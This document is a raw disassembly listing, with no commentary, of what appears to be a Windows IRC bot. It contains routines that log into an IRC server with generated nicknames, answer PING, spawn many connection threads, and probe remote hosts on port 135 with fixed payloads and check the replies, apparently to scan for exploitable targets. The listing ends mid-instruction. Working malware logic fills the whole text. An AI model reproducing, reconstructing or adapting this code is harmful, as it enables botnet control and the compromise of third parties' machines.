eax jnb loc_4178AC mov edi, dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27E0C53h test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi push eax call near ptr 27E0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27F0000h test eax, eax jz short loc_41788C push offset dword_4D3830 push esi call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset dword_4D4030 push eax call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi push eax nop call near ptr 27D0000h jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] nop call near ptr 2670770h loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A4C, ebx mov dword_4D4A50, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2670770h push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A48 push esi mov esi, dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27E0000h mov ecx, dword_4D4A48 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4A50 push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A54 push eax call dword_4D4834 push [ebp+var_4] mov edi, offset dword_4D4840 push offset dword_4D3830 push offset dword_4D4030 push [ebp+arg_0] push offset dword_4386C4 push 200h push edi call sub_41C360 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 27D0000h nop mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A48 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27E0B98h push eax nop call near ptr 27E0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D4030 mov edi, 200h mov esi, offset dword_4D3630 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A48 add eax, eax push eax push dword_4D4A50 push [ebp+var_14] call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4834 mov eax, dword_4D4A48 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+var_14] push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_4386C4 push edi push esi call sub_41C360 add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_438714 push edi push esi call sub_41C360 add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+var_14] push 0 call near ptr 27E0B98h nop push eax nop call near ptr 27D0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA6C loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41C8A0 pop ecx mov esi, offset dword_4D4A5C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi call sub_41B9C0 pop ecx push eax push edi push dword ptr [esi] call dword_4CBA24 loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset dword_4DB17C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B76 proc near ; CODE XREF: sub_417C61+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDC0 ; " " push edi push esi push [ebp+arg_0] call sub_41CAD4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi push 0 call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41CA50 pop ecx pop ecx test eax, eax push esi jnz short loc_417BDE push offset dword_43932C jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417BFF push esi push offset dword_439328 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BF70 lea eax, [ebp+var_420] push eax call sub_417E84 add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_43931C loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+var_220] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CBA24 loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C500 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A64[esi] mov dword_4D4A58[esi], edi push dword_4D4C64[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A5C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BF70 lea eax, [ebp+var_2008] push eax call sub_417E84 lea eax, [ebp+var_4008] push eax call sub_417E84 lea eax, [ebp+var_3008] push eax call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D4A5C[esi] call dword_4CBA24 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D4A5C[esi] call dword_4CB9EC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A5C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A58[esi], ebx mov esi, dword_4D4A5C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA6C loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A58 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB178 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4A64[esi] push eax call sub_41C890 mov eax, [ebp+arg_4] pop ecx mov dword_4D4C64[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A58[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx nop call near ptr 2690000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 add esp, 0Ch call sub_41C2C2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276D8 call sub_41D174 cmp eax, 1 jnz short loc_417ECE call sub_41C2C2 call sub_41C2C2 push 66h cdq pop ecx idiv ecx push off_438A68[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call sub_41C2C2 call sub_41C2C2 cdq mov ecx, 0C0h idiv ecx push off_438768[edx*4] loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+var_2C] push eax call sub_41C890 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B9C0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41D174 mov ebx, eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41D174 push off_438A68[eax*4] lea eax, [ebp+var_40] push eax call sub_41C890 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C990 add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+var_40] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_418001 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_418001 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41CBC0 add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+var_2C] push eax call sub_41B9C0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DEE8 pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz loc_418173 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41D174 cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call sub_41C2C2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call sub_41D174 test eax, eax jnz short loc_4181D5 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+var_C], 2 jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A0 call sub_41D174 cmp eax, 1 jnz short loc_41827C cmp [ebp+var_C], eax jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_427698 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BFD0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DF40 add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: ___:0040DFD7p ; ___:0040E0C0p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C500 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA14 push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA54 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439374 push esi call dword_4CBA24 cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC cmp eax, edi jz loc_41842A cmp [ebp+var_200E], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393C0 push [ebp+arg_4] call dword_4CBA24 cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC mov esi, eax cmp esi, edi jz short loc_41842A cmp [ebp+var_200E], 2 jnz short loc_41842A push 10h push offset loc_4393DC lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h push offset dword_4393F0 lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA6C mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4184C6 cmp [ebp+arg_8], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi call sub_426465 mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+arg_4] push edi call sub_41C2E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax push edi push ebx call sub_41BFD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B9C0 push eax push [ebp+arg_8] push ebx call sub_41CBC0 push [ebp+arg_4] call sub_41B9C0 add eax, esi push eax push ebx call sub_41C8A0 push ebx push edi call sub_41C890 add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; ___:00410CF1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BF70 mov esi, [ebp+arg_0] push esi call sub_41B9C0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp 